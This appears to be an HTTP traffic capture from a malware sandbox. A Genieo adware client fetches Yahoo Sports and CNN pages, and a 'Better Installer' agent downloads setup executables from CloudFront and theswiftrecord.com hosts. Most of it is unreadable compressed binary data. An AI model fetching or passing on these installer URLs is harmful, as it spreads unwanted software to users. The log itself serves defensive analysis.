9.}Y....$g..`..b...%h....nU...0;...&`.../.'3.....C.7YI.-..)....[.....r
....c.ao]._v.a7.....9...D.,H.9....qr..Q...Cst..l..?G.Z.|!X.... ._...r.
'...|.P...........1.k..%.V.....q.D....J81$...l...O..H3.....F.B_Ll.z...
.........n.\.~..<..=..^..........881s...Z..^.2.52....37..\.8.NE.[78
.:.PkV.F...X.q.t....J.O.....u.ht..:..%B..$.dq.5s.X...1X.....{.G...|.'.
....{.1~Ph...[.....Q.wD/.....U..q.6.%..../..a....I\.=...k\....3..9j}..
c..5 >.E..||.t....i.&&...(v...[...u....*.......;gd..n.....;.%3x....
.p..e.;.f...Y.[S.v......P....nX.....&!. ...........[Bc....[R......$c6.
L [....../.9.*._....0BC;.8...Q..`].."lI..vv.:.;..........%...[.&......
.'.)[email protected]......'o...'.3..c..}.._....U..&...V.....=..3._.
V....N....#o......G.;*.x.i....k.Qs./......g.......................ol..
.(1..77S*7.........8...w..Kl...!x......XrO.o..a..:.kl...x..V..a...s..r
8..<...z){-U..7.P.....$g.<...p.!.[...M. .G..4....Vs.?.K\.E....`.
y[I......Y.......'5h........c....(..-.xP..J...o......&y........\.hE.:.
...`.........
<<< skipped >>>

GET /top/rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: sports.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:04 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: private

Content-Encoding: gzip

Content-Type: text/html; charset=UTF-8

Vary: Host,Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts270.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r02.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Transfer-Encoding: chunked

Connection: keep-alive
db7.............9is..... .t......$..{.N.6[c;.....$Zb..".-....$..c..73.
...@l..._..._?|q0..~...........a.....$...B.c.~...._([.X`..7D..L6)..~..
 .R....,....Q...d.n...............Y.h.Z..<.._.D...7z....<...w0..
...b.X..9.Q........x.6 [email protected]..$....lI A.
$P.SR'.....hd6D.....4.b~.M.7.O......z..Vl2}.#J..1WOtJ...w{..e-_).|W...
|.[......Nh.LL..._.r.....(.M...uTE...}...v.bb_.`....".Pf../.N...QF.bFe
<X*.B.f..|\.;7.9.....HZg.Yg./co..&.(Tk.jWC...<.b< .7..V..^...
r..*#2.....[./...v....~.....uj..A............>.f8..k6)[.K`.........
&.....~.....6o. .G%>.@?..........j.|W.5./z.yx...n'5....x.Mf.ry0..j.
z<.t[.a2.[j....Wy..UV.N..#4..P./.K.......h{.;.V'....wf...y.....O..9
..}...... .Q$<.....Sb..H..............&....xv.@.)'.ZG..k9..[<...
.hU.W1.g....%_(....hR..d.x!.?..Z..G:X.K..&.*..|QV..|A6b.Z..`......[...
..........6...i.......?=..GY.3...0...i.3....E....y.).......3|%...W.>
;....F...p.B.}../.D...wh../..D=..PoR...?............l....%R......=..$S
e/ 1.n.cl<(IP......1.L).....D.()......xd\....KZ......GL. ...f.."_..
[email protected].....`.C..)..C*.........^A(..Ks............
0....;...-<E..6..T..J.!....pT.Yf...$.8[.z....E....9..S...Wm....V.".
..MH.............WP........h..7Y.q....c.x....'.5U Uxh.v$....Ns[a.....,
B>%....^:.,[email protected]#...a.>p4.P.'~K8...H....E..Jo.........
w.y.1Y....U.wG..q....c..WS...Bji..,....;..m"....3oj....o.o........3..[
..E.)(e`[email protected]....?bhV(..oK...B.!^[email protected]'...
xxL.W).r*/..7k(. ....I....2.....uS......=.....B.`..,.c&c_..e...'..<<< skipped >>>

GET /top/rss;_ylt=AlwdHRvtXpvepkk.PZVQ41o5nYcB HTTP/1.1

Accept-Encoding: gzip,deflate

Host: sports.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:05:04 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Location: hXXp://sports.yahoo.com/top/rss

Content-Encoding: gzip

Content-Length: 1452

Content-Type: text/html

Cache-Control: max-age=0, private

Expires: -1

Vary: Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts270.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r02.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Connection: keep-alive
...........Wmo.6..._qU.u "...&.e.C....!h3..HI.E......x..;RR"....H...x/
.=...=)ea;......../ ...s...7.o.....p...B~.=...V...v.x7..^.....>#.j^
...e..2.l......r ../ZK..".... ... .......#.Ufl...y.m{.5/.<'.......`
_.....B.$~....SqZ3.e..........&2L.j.O.D......Q..mZ`l...Ks.z....,.m....
.C...$q9...S8.Vm.4F2.=]l.v.bH..e)...N....}C....l.hY.v.W.@.~..ri.l...f.
..O..>:.`.a.........5..#....\...4Q7`..%.TU.5.N.uCa?y..........!.my.
.r..6......oa.....>zQ....]........_Z^....S4..9.p}...O. .....N.z1G./
..;9.....l.Z.[r....V....3Q.f.......s.%.d........MV.p.%B...|..9->...
.ez..{.[....s......w./'&Q#..{.D..i...b.m'...]o,[x./..V*_.....0...G....
..,>.5.{..w5.,.h.C.w..i.....AjD.!..B6..N..7B0..y...2.L1j...........
.*n.fG4.#8:.. W....O.....W....k.FD.,.N..k&..d....x..2.*..../.!..S....N
..(..U.Q.7&.e.9].........{.G.0.],..jo...'.29...9v,....,q~.]....KB}...V
..y....?(.j..-.......;[email protected].$...hc........Q....B.
1........?>.w..JK.4N......._P.-.......].tr...X..3.H~..pd...........
{.N...-w3...,...e..V.....e..E..Gs..X.....I.kLMpcAV.-...S..-.h.EG.x.1.g
&.-...w.....e../[email protected]...$@n;;....Q..E..........-C..@....
......'o....q3..~u.2A1.K..Q...............>../..{.2tb..[Y..l.V.....
./Q....P'.ec..7|..l....-....4d.t.5.......T.E..Z. Zni[.......HP.j...z.7
6..~......)....TRm...a.O...v.%.....<t....v,.'....0TN..56ESq<W. [
.......`9..Z.KYe........~(.r._j..A..][[email protected]............
~0...$......,EA...z....|...k.......I.A...xP..J...o......&y......\.....
.U..T..8........
<<< skipped >>>

GET /top/rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: sports.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:05 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Cache-Control: private

Content-Encoding: gzip

Content-Type: text/html; charset=UTF-8

Vary: Host,Accept-Encoding,X-Ssl

Age: 0

Via: http/1.1 yts270.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r02.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Transfer-Encoding: chunked

Connection: keep-alive
db7.............9is..... .t......$..{.N.6[c;.....$Zb..".-....$..c..73.
...@l..._..._?|q0..~...........a.....$...B.c.~...._([.X`..7D..L6)..~..
 .R....,....Q...d.n...............Y.h.Z..<.._.D...7z....<...w0..
...b.X..9.Q........x.6 [email protected]..$....lI A.
$P.SR'.....hd6D.....4.b~.M.7.O......z..Vl2}.#J..1WOtJ...w{..e-_).|W...
|.[......Nh.LL..._.r.....(.M...uTE...}...v.bb_.`....".Pf../.N...QF.bFe
<X*.B.f..|\.;7.9.....HZg.Yg./co..&.(Tk.jWC...<.b< .7..V..^...
r..*#2.....[./...v....~.....uj..A............>.f8..k6)[.K`.........
&.....~.....6o. .G%>.@?..........j.|W.5./z.yx...n'5....x.Mf.ry0..j.
z<.t[.a2.[j....Wy..UV.N..#4..P./.K.......h{.;.V'....wf...y.....O..9
..}...... .Q$<.....Sb..H..............&....xv.@.)'.ZG..k9..[<...
.hU.W1.g....%_(....hR..d.x!.?..Z..G:X.K..&.*..|QV..|A6b.Z..`......[...
..........6...i.......?=..GY.3...0...i.3....E....y.).......3|%...W.>
;....F...p.B.}../.D...wh../..D=..PoR...?............l....%R......=..$S
e/ 1.n.cl<(IP......1.L).....D.()......xd\....KZ......GL. ...f.."_..
[email protected].....`.C..)..C*.........^A(..Ks............
0....;...-<E..6..T..J.!....pT.Yf...$.8[.z....E....9..S...Wm....V.".
..MH.............WP........h..7Y.q....c.x....'.5U Uxh.v$....Ns[a.....,
B>%....^:.,[email protected]#...a.>p4.P.'~K8...H....E..Jo.........
w.y.1Y....U.wG..q....c..WS...Bji..,....;..m"....3oj....o.o........3..[
..E.)(e`[email protected]....?bhV(..oK...B.!^[email protected]'...
xxL.W).r*/..7k(. ....I....2.....uS......=.....B.`..,.c&c_..e...'..<<< skipped >>>

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: sports.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:05 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 9qfd845alcut1

X-Frame-Options: SAMEORIGIN

Content-Type: text/html;charset=utf-8

Content-Encoding: gzip

Via: http/1.1 yts234.global.media.ir2.yahoo.com (ApacheTrafficServer [cSsSfD]), http/1.1 r02.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: max-age=0, private

Expires: -1

Age: 0

Connection: keep-alive

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=321582-643164

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321583

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

Content-Range: bytes 321582-643164/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 c661b957fae167a13aab464a9ce9b407.cloudfront.net (CloudFront)

X-Amz-Cf-Id: E5zr8KuQPZyPXC6y3lvuY0203afj3TE88-Yeu8tgH9BdOLNtf2BHGQ==
..`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n........
.........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3...
.Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.
'.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....
t...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G...........
._.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....
6_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3.
.E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M.....
....#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S...
.MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"
JmmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....
$..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......
{<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N
"P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*
`=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r
.........V:;M..=I.d..........K'[email protected].....
...........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5
...'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[..
.....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i..
..m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m......
....T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS
...=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=290715-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:24 GMT

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Range: bytes 290715-465143/465144

Content-Length: 174429

Connection: keep-alive
.P.,.X.,.9.4ga.Av.....17.'..dDU...._nx..a......[K4....4..z^J...bO.X...
Yf..m.....~.H..:......-.{``..7.Ql>....4.......2.QL...j]kOPV.F.,f..%
n...Q.x...h...L./....&..'e>H.....h.............v&.....^.m.I....\...
 .........s..i..Y..q.Jl..jI..JR.?3....a...H.....Y'..%qE. =WY.......,..
.;..\<.`@..X`3-D.TWd;.j.....-..f.j.v.......S?E.M......*..S....d....
....A]}...N/.j~..p....l...=......<".l.C..AY&ik.YV..o.z.O;~......;.z
..5b...B6dS..X.E.w'R.k......._l.....%D..1K..C6.b..b.%..3p..........E.9
.}.kc...A.'..\..3. ..QiS..6..(a....d;...........u...HN....w.`96...`a.M
j]-UK.K.:....)P...&..'..Ve..br..&XY.y4..^..2....F..h..^6....{...2w.W.|
o.......[..ZM`../.y.Yg._E.7.Q..iI...,...5$.(.s~....wQ..}...M..5L.....\
.W...M....7...:...v.3!u.0....u... ..t.N.....2.....#.........w..../....
.b...].Z`=..v.q-o....w.O.W.{.U].=..."..t..t.....x(.fe.Ux. M.l .....R.5
.......3......\.........W.n6..R.<*V...w.Vu......-....%W\`...w..>
.$..CgU .<......a ..3Q.v...T..#e<.x.. -..44{......|S....w{c,....
.(.5_..HF}8. *...q...E-.bDr...^........F(\......4..&.ts.....pNKt.4...(
.........[?T...x...J..q_]...S~......u...c"0.w....`....{u..3J..g....J.#
.7y..L....*C....q.h..c...lO..M\.....}....e5c.!..ln.,!..*........V>.
.V../.}d.......F7".(a....y..I.J........}{Y...&.B...u..V...D...]....8j.
.)0G......$.....NCn..E..?a....E..].......7x..X:....&....?}  ..O@.<.
..3.^#5~.d....oBM.#..I1.JG.>.~}......\P.)Y..n.^...;Wn..KQ.....`....
..N.aD.[.|2....2._.r..._...Q..or/...kqC.. w.7a||..A...z...$M..0".%WHDE
...;..'.3.z..#4..J........`{&e...m.,......!...F....Cm ...?........<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

x-servedByHost: prd-10-60-168-119.nodes.56m.dmtio.net

Cache-Control: max-age=2592000

Content-Type: text/plain; charset=UTF-8

Via: 1.1 varnish

Content-Length: 866

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:04:56 GMT

Via: 1.1 varnish

Age: 1696554

Connection: keep-alive

X-Served-By: cache-iad2139-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 1, 4

X-Timer: S1431731096.557144,VS0,VE0

Vary: Accept-Encoding

Sitemap: hXXp://VVV.cnn.com/sitemaps/sitemap-index.xml.Sitemap: http:/
/VVV.cnn.com/sitemaps/sitemap-news.xml.Sitemap: hXXp://VVV.cnn.com/sit
emaps/sitemap-video-index.xml.Sitemap: hXXp://VVV.cnn.com/sitemaps/sit
emap-section.xml.Sitemap: hXXp://VVV.cnn.com/sitemaps/sitemap-interact
ive.xml.User-agent: *.Disallow: /editionssi.Disallow: /ads.Disallow: /
aol.Disallow: /audio.Disallow: /beta.Disallow: /browsers.Disallow: /cl
.Disallow: /cnews.Disallow: /cnn_adspaces.Disallow: /cnnbeta.Disallow:
 /cnnintl_adspaces.Disallow: /development.Disallow: /help/cnnx.html.Di
sallow: /NewsPass.Disallow: /NOKIA.Disallow: /partners.Disallow: /pipe
line.Disallow: /pointroll.Disallow: /POLLSERVER.Disallow: /pr/.Disallo
w: /PV.Disallow: /quickcast.Disallow: /Quickcast.Disallow: /QUICKNEWS.
Disallow: /test.Disallow: /virtual.Disallow: /WEB-INF.Disallow: /web.p
rojects.Disallow: /search.....

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-7-154

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 40494

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:04:56 GMT

Via: 1.1 varnish

Age: 65

Connection: keep-alive

X-Served-By: cache-iad2122-IAD, cache-fra1232-FRA

X-Cache: HIT, HIT

X-Cache-Hits: 2, 32

X-Timer: S1431731096.613235,VS0,VE0

Vary: Accept-Encoding
.............r.8....<...;..5,..vwU.$.]...<..kgv6...I,S...V.z;...
"..{..7.'.L..HY.I.,.f..%K$.L$.._.#...O.wo.v.#cob...?..b.......{..83..0
..#.a{..^...^sc...cGL.k...{S........E?.iWL..3..?.s...r..{C.<X-.....
2./......tQ.......gS.x..2f..._....p*....6=.Y..0.X=....<....#(.2.{2v
...Ai...a...u._......7c 6.=r.......>0'l.K.).?(...Z..J.....=...s<
.....K..dNF..q.4.D.Y....Jl:.8..?......(...*... ...J..q.;..Hk........c.
....z.g.7...{...K>s......#.Q8...8...9"=(...iO.D....ip!s.J...X..J...
F6m.....L....!]>.L..jb..UiY.z.V..Tk'.......S ?.} F'S.o0.....m.S....
j..~Ri.TZ.<.%..0....x6..C.b.W..I?.....d..ZA...R.D........*.z..r`cY.
^[email protected]..)q=......|.}.....x..#2..t.....&....L8P25....7...f?B.....
.K.)[email protected]|..?.....1.....-.f.5...|,fE..d....j.. .............|q
......e...*...3.(.A..E.G...x&....X,6;"...ma........d.@*...#...........
W1p.kX.{>....Q.!.......0....?.0g~g1g.......f........,.x..]...!l....
..m.`t...p.D),..*.f.Z.*.^m.......0.L#........... ..,.e......d.Z.{<.
bdq9..'.iS.z.z.h..b.....%..:.4(p..@^Ix".&...<.5.y...- ..gJ....(...H
....\on.x...R.P.j(.. ...v.Ut....[2y3.....A...p..O...u...J%(....m......
...Pp...y./Dr.K...(.Im=....."...6][email protected]_u.m......G65.......>
;.....Z/...`[email protected]`..x...../....g0....!.>ZQ.
2...I....~........ 5..WX..~..|..C....w.....w........Dl. ...........q..
...8..}?d...f...&..b.{........T.....m..^....M.........{B.G`f.......E.Z
8!..;..>..N...d98:.w.#...'.?......{..7....G.{..77..'.p...a.- .!..h.
7%./.?0.D3.g...1...8!.&......CH{"u"..9Q.=6....^..tpx=...G.t0.^..y.<<< skipped >>>

GET /feedback HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-2-29

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 8796

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:04:56 GMT

Via: 1.1 varnish

Age: 170

Connection: keep-alive

X-Served-By: cache-iad2150-IAD, cache-fra1232-FRA

X-Cache: MISS, HIT

X-Cache-Hits: 0, 1

X-Timer: S1431731096.930809,VS0,VE0

Vary: Accept-Encoding
...........}.v.8....9{"yF.%[...r....sr..Ng.Kgu .......V...O.....M.I...
^$..%[email protected]... .x../..n.u...b..>...th..4...D..1j...,.....y.@.|
9`....Y..l...|.......h..?........;LS.g4...N..~.-...}l .Ed."_...)&..Q..
fw...Z.......b...t..".g.6u..........in.fI.....d...@3&...^.f.mx.H...v=.
bf..K..H...4..Sf......4X..a.m...q.z,l..k..g..a.S...1..?.....i. p....9.
...7...... .P...a.W.Ycj~%.o....n[..Z..6...O...[v.A&. S..QtA'..wwwm..s.
. .k$.....|...~.:K....TT.'... 6`s........."3.....U......$....l~..VT...
......Z......|..p.F\...|g.1..&...rwl.H.E..VY.-..|....-5.f.(..&.H....t.
.....<....Myd[......V.<.-/_*H....X./.A..I.......E..}...8....@...
GQ,..(/.mK.......].l.*...f...$V.5..O.....@N._...y.Q<w.0....*.......
.mw...R.Qd..DZ.6.j.E.@[.._..v.1..C.H.?}b.eO>.z*.i................t.
 .rB. .8.{:.....0...x..(nO..Fm..Flp._...Aw.....~afl[...u.3.C.xrl..Sz..
t(.'t.rprj..v.k..9..!......w..xvg{....|[email protected] ..02.
.\.Ylb{.j...E..`.q2..I..(.&....`...;{l.0..:........D.pGC.....9P.......
A...#. .V.N...b...qX8?........Q.L..Z.`8..e. .....1s....PDki..|D.H.w.[Y
6.F...G'..[dr...0\}....w.....B......5.vq.C...`L....3....o..s.<..6e.
..1........8............e...Q{B)X.[[email protected]....
......z=|:...}|:..#^...x.n...y.n..Ox..><..B]....b...>.h./....
..r?...$......S.x.q..(..sa.y.S '/.Q0*.....~.1'...H[Y.%..ir.];......:.!
.W.r..1.b.Q.<...U.7..H....)./.._U. &.=q.~.B.Kb...}.... ......U....|
.-.......1t..^4<.g....................h...s.~.=.....v.P.=.e^"0..?..
..(.......x...*V........WRg...6.IU.?hq.=..-.....s..-..i....^`..#.J<<< skipped >>>

GET /feedback HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-2-29

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 8796

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:04:57 GMT

Via: 1.1 varnish

Age: 170

Connection: keep-alive

X-Served-By: cache-iad2150-IAD, cache-fra1232-FRA

X-Cache: MISS, HIT

X-Cache-Hits: 0, 2

X-Timer: S1431731097.030765,VS0,VE0

Vary: Accept-Encoding
...........}.v.8....9{"yF.%[...r....sr..Ng.Kgu .......V...O.....M.I...
^$..%[email protected]... .x../..n.u...b..>...th..4...D..1j...,.....y.@.|
9`....Y..l...|.......h..?........;LS.g4...N..~.-...}l .Ed."_...)&..Q..
fw...Z.......b...t..".g.6u..........in.fI.....d...@3&...^.f.mx.H...v=.
bf..K..H...4..Sf......4X..a.m...q.z,l..k..g..a.S...1..?.....i. p....9.
...7...... .P...a.W.Ycj~%.o....n[..Z..6...O...[v.A&. S..QtA'..wwwm..s.
. .k$.....|...~.:K....TT.'... 6`s........."3.....U......$....l~..VT...
......Z......|..p.F\...|g.1..&...rwl.H.E..VY.-..|....-5.f.(..&.H....t.
.....<....Myd[......V.<.-/_*H....X./.A..I.......E..}...8....@...
GQ,..(/.mK.......].l.*...f...$V.5..O.....@N._...y.Q<w.0....*.......
.mw...R.Qd..DZ.6.j.E.@[.._..v.1..C.H.?}b.eO>.z*.i................t.
 .rB. .8.{:.....0...x..(nO..Fm..Flp._...Aw.....~afl[...u.3.C.xrl..Sz..
t(.'t.rprj..v.k..9..!......w..xvg{....|[email protected] ..02.
.\.Ylb{.j...E..`.q2..I..(.&....`...;{l.0..:........D.pGC.....9P.......
A...#. .V.N...b...qX8?........Q.L..Z.`8..e. .....1s....PDki..|D.H.w.[Y
6.F...G'..[dr...0\}....w.....B......5.vq.C...`L....3....o..s.<..6e.
..1........8............e...Q{B)X.[[email protected]....
......z=|:...}|:..#^...x.n...y.n..Ox..><..B]....b...>.h./....
..r?...$......S.x.q..(..sa.y.S '/.Q0*.....~.1'...H[Y.%..ir.];......:.!
.W.r..1.b.Q.<...U.7..H....)./.._U. &.=q.~.B.Kb...}.... ......U....|
.-.......1t..^4<.g....................h...s.~.=.....v.P.=.e^"0..?..
..(.......x...*V........WRg...6.IU.?hq.=..-.....s..-..i....^`..#.J<<< skipped >>>

GET /2015/05/11/asia/freedom-project-thailand-fishing-slave-ships/index.html HTTP/1.1

Accept-Encoding: gzip,deflate

Host: edition.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Cache-Control: max-age=3600

Content-Encoding: gzip

Content-Security-Policy: default-src 'self' hXXp://*.cnn.com:* hXXps://*.cnn.com:* *.cnn.net:* *.turner.com:* *.ugdturner.com:* *.vgtf.net:*; script-src 'unsafe-inline' 'unsafe-eval' 'self' *; style-src 'unsafe-inline' 'self' *; frame-src 'self' *; object-src 'self' *; img-src 'self' *; media-src 'self' *; font-src 'self' *; connect-src 'self' *;

Content-Type: text/html; charset=utf-8

x-servedByHost: prd-10-61-5-230

X-XSS-Protection: 1; mode=block

Via: 1.1 varnish

Content-Length: 27874

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:04:58 GMT

Via: 1.1 varnish

Age: 0

Connection: keep-alive

X-Served-By: cache-iad2129-IAD, cache-fra1232-FRA

X-Cache: MISS, MISS

X-Cache-Hits: 0, 0

X-Timer: S1431731097.095204,VS0,VE1594

Vary: Accept-Encoding
.............z.F.6.._E....N..u..|.)Q..Xr.2q>> .$a....h:...W.....
... ..Vw....)'.%.D$.>TWUWUwWU?...W./~~.T...w...E..........D....<
......O.......K./..A...q.D........q.......`.....d....Q,.v.....t....T.@
.....u1...|.:-].r..QR..1r.dp.. . -.Q...&..Yq....J.,..l..'..a../. ...R.
gS.._q.a...D$.....:...8.w%..@.%wh.e.....j.....Zu ]..$i.........W .....
f.V.{A...C7.V.0....iw.-VB..{.~U......M<y......vE.....'.8i.Dc...KO.7
.E..W...Q@4.~ ,...K..........vI.>...%...4j.]..k.....Q..h......e...K
A.(L;...5...V.i^..G..U....'......2..*D.&....v..z....").`h...h.VB..l..4
>-..E...J... .o..M#o..'.Hs.]..,.s.h'^........?.4G. ....Q...N.....6.
...L..>.IB<A.'vt%....;..{2."r..D$.=......1.H.&.._J..*};..K......
.b,I..Q.].n;...T....vD...F.............?..........7%...R..F'.e.0U.....
6j........mb..l..1.'#7Idt.....$J.....{....dt.sd..}..C...5.j}..[.o4....
....c.a1.V}...!.O.....a.(....O5..a.. ...[.R......./W.........V...[..*.
.pPk...z.up.'Z.sDz..:....- .6dz._RC...Q...:..4.....I.....0...$...l.f..
U.[ ...u,.%.Cuy....RS.e%.......Q[...,...'.<q.T....:N...a.d...9..c..
..z..l.i...#y.M...,m...fO..-..4 ......../.w.....a......O....`...6.1.*`
m~GCj......G.T7...l....v.........T..o...*.....'...7j.~.....{.].uh.[.5[
Z=..k..vwwk./J3.\....8..........M.`Tq.n:$iE_...S..=............I...)..
c*..l........O...;....D/....G..Y.D.|..,.(...p.^0.}..b...M........O..&l
t;O.a.....0DN..Vm=....m.#c..y.....H..I......N.j2......b.H.tT..T.T..*..
